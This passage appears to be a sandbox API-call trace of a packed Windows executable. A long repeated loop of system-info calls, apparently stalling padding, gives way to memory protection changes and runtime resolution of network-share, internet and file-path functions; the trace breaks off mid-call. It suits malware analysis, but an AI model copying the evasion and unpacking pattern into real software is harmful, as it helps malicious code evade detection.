dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.389] GetMessageTime () returned 0 [0101.389] GetLastError () returned 0x578 [0101.389] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.389] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.389] GetMessageTime () returned 0 [0101.389] GetLastError () returned 0x578 [0101.389] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.389] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.389] GetMessageTime () returned 0 [0101.389] GetLastError () returned 0x578 [0101.389] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.389] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.389] GetMessageTime () returned 0 [0101.389] GetLastError () returned 0x578 [0101.389] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.389] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.390] GetMessageTime () returned 0 [0101.390] GetLastError () returned 0x578 [0101.390] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.390] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.390] GetMessageTime () returned 0 [0101.390] GetLastError () returned 0x578 [0101.390] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.390] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.390] GetMessageTime () returned 0 [0101.390] GetLastError () returned 0x578 [0101.390] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.390] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.390] GetMessageTime () returned 0 [0101.390] GetLastError () returned 0x578 [0101.390] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.390] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.390] GetMessageTime () returned 0 [0101.390] GetLastError () returned 0x578 [0101.390] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.390] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.390] GetMessageTime () returned 0 [0101.390] GetLastError () returned 0x578 [0101.390] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.390] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.391] GetMessageTime () returned 0 [0101.391] GetLastError () returned 0x578 [0101.391] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.391] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.391] GetMessageTime () returned 0 [0101.391] GetLastError () returned 0x578 [0101.391] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.391] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.391] GetMessageTime () returned 0 [0101.391] GetLastError () returned 0x578 [0101.391] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.391] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.391] GetMessageTime () returned 0 [0101.391] GetLastError () returned 0x578 [0101.391] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.391] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.391] GetMessageTime () returned 0 [0101.391] GetLastError () returned 0x578 [0101.391] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.391] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.391] GetMessageTime () returned 0 [0101.391] GetLastError () returned 0x578 [0101.391] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.391] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.392] GetMessageTime () returned 0 [0101.392] GetLastError () returned 0x578 [0101.392] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.392] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.392] GetMessageTime () returned 0 [0101.392] GetLastError () returned 0x578 [0101.392] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.392] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.392] GetMessageTime () returned 0 [0101.392] GetLastError () returned 0x578 [0101.392] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.392] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.392] GetMessageTime () returned 0 [0101.392] GetLastError () returned 0x578 [0101.392] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.392] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.392] GetMessageTime () returned 0 [0101.392] GetLastError () returned 0x578 [0101.392] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.392] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.392] GetMessageTime () returned 0 [0101.392] GetLastError () returned 0x578 [0101.392] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.392] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.393] GetMessageTime () returned 0 [0101.393] GetLastError () returned 0x578 [0101.393] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.393] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.393] GetMessageTime () returned 0 [0101.393] GetLastError () returned 0x578 [0101.393] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.393] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.393] GetMessageTime () returned 0 [0101.393] GetLastError () returned 0x578 [0101.393] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.393] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.393] GetMessageTime () returned 0 [0101.393] GetLastError () returned 0x578 [0101.393] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.393] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.393] GetMessageTime () returned 0 [0101.393] GetLastError () returned 0x578 [0101.393] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.393] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.393] GetMessageTime () returned 0 [0101.393] GetLastError () returned 0x578 [0101.393] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.393] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.394] GetMessageTime () returned 0 [0101.394] GetLastError () returned 0x578 [0101.394] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.394] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.394] GetMessageTime () returned 0 [0101.394] GetLastError () returned 0x578 [0101.394] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.394] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.394] GetMessageTime () returned 0 [0101.394] GetLastError () returned 0x578 [0101.394] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.394] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.394] GetMessageTime () returned 0 [0101.394] GetLastError () returned 0x578 [0101.394] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.394] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.394] GetMessageTime () returned 0 [0101.394] GetLastError () returned 0x578 [0101.394] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.394] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.394] GetMessageTime () returned 0 [0101.394] GetLastError () returned 0x578 [0101.394] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.395] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.395] GetMessageTime () returned 0 [0101.395] GetLastError () returned 0x578 [0101.395] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.395] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.395] GetMessageTime () returned 0 [0101.395] GetLastError () returned 0x578 [0101.395] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.395] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.395] GetMessageTime () returned 0 [0101.395] GetLastError () returned 0x578 [0101.395] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.395] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.395] GetMessageTime () returned 0 [0101.395] GetLastError () returned 0x578 [0101.395] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.395] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0107.439] LocalAlloc (uFlags=0x0, uBytes=0x44e2c) returned 0x5d4430 [0107.531] LocalAlloc (uFlags=0x0, uBytes=0x44e2c) returned 0x619268 [0107.537] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76150000 [0107.537] VirtualProtect (in: lpAddress=0x619268, dwSize=0x33aa1, flNewProtect=0x40, lpflOldProtect=0x18e190 | out: lpflOldProtect=0x18e190*=0x4) returned 1 [0107.555] GetProcAddress (hModule=0x76150000, lpProcName="LoadLibraryA") returned 0x761649d7 [0107.555] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76150000 [0107.555] GetProcAddress (hModule=0x76150000, lpProcName="VirtualAlloc") returned 0x76161856 [0107.555] GetProcAddress (hModule=0x76150000, lpProcName="VirtualProtect") returned 0x7616435f [0107.555] GetProcAddress (hModule=0x76150000, lpProcName="VirtualFree") returned 0x7616186e [0107.555] GetProcAddress (hModule=0x76150000, lpProcName="GetVersionExA") returned 0x76163519 [0107.556] GetProcAddress (hModule=0x76150000, lpProcName="TerminateProcess") returned 0x7617d802 [0107.556] GetProcAddress (hModule=0x76150000, lpProcName="ExitProcess") returned 0x76167a10 [0107.556] GetProcAddress (hModule=0x76150000, lpProcName="SetErrorMode") returned 0x76161b00 [0107.556] SetErrorMode (uMode=0x400) returned 0x0 [0107.556] SetErrorMode (uMode=0x0) returned 0x400 [0107.556] GetVersionExA (in: lpVersionInformation=0x18cc10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}Ôw") | out: lpVersionInformation=0x18cc10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0107.556] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0107.565] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18dc98 | out: lpflOldProtect=0x18dc98*=0x2) returned 1 [0107.643] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.645] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ed0000 [0107.645] GetProcAddress (hModule=0x75ed0000, lpProcName="RpcStringFreeW") returned 0x75ef1635 [0107.645] GetProcAddress (hModule=0x75ed0000, lpProcName="UuidToStringW") returned 0x75f11ee5 [0107.646] GetProcAddress (hModule=0x75ed0000, lpProcName="UuidToStringA") returned 0x75f4d918 [0107.646] GetProcAddress (hModule=0x75ed0000, lpProcName="RpcStringFreeA") returned 0x75f13fc5 [0107.646] GetProcAddress (hModule=0x75ed0000, lpProcName="UuidCreate") returned 0x75eef48b [0107.646] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75600000 [0108.007] GetProcAddress (hModule=0x75600000, lpProcName="WNetCloseEnum") returned 0x75602dd6 [0108.007] GetProcAddress (hModule=0x75600000, lpProcName="WNetOpenEnumW") returned 0x75602f06 [0108.007] GetProcAddress (hModule=0x75600000, lpProcName="WNetEnumResourceW") returned 0x75603058 [0108.007] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x77780000 [0108.020] GetProcAddress (hModule=0x77780000, lpProcName="InternetCloseHandle") returned 0x7779ab49 [0108.020] GetProcAddress (hModule=0x77780000, lpProcName="InternetOpenUrlW") returned 0x777fbe5c [0108.020] GetProcAddress (hModule=0x77780000, lpProcName="InternetReadFile") returned 0x7779b406 [0108.020] GetProcAddress (hModule=0x77780000, lpProcName="InternetOpenUrlA") returned 0x777c30f1 [0108.020] GetProcAddress (hModule=0x77780000, lpProcName="HttpQueryInfoW") returned 0x777a5c75 [0108.020] GetProcAddress (hModule=0x77780000, lpProcName="InternetOpenA") returned 0x777af18e [0108.020] GetProcAddress (hModule=0x77780000, lpProcName="InternetOpenW") returned 0x777a9197 [0108.020] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x755c0000 [0108.173] GetProcAddress (hModule=0x755c0000, lpProcName="timeGetTime") returned 0x755c26e0 [0108.173] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76040000 [0108.173] GetProcAddress (hModule=0x76040000, lpProcName="PathFindExtensionW") returned 0x7605a1b9 [0108.173] GetProcAddress (hModule=0x76040000, lpProcName="PathFindFileNameW") returned 0x7605bb71 [0108.173] GetProcAddress (hModule=0x76040000, lpProcName="PathRemoveFileSpecW") returned 0x76053248 [0108.173] GetProcAddress (hModule=0x76040000, lpProcName="PathFileExistsW") returned 0x760545bf [0108.173] GetProcAddress (hModule=0x76040000, lpProcName="PathAppendW") returned 0x760581ef [0108.174] GetProcAddress (hModule=0x76040000, lpProcName="PathAppendA") returned 0x7604d65e [0108.174] GetProcAddress 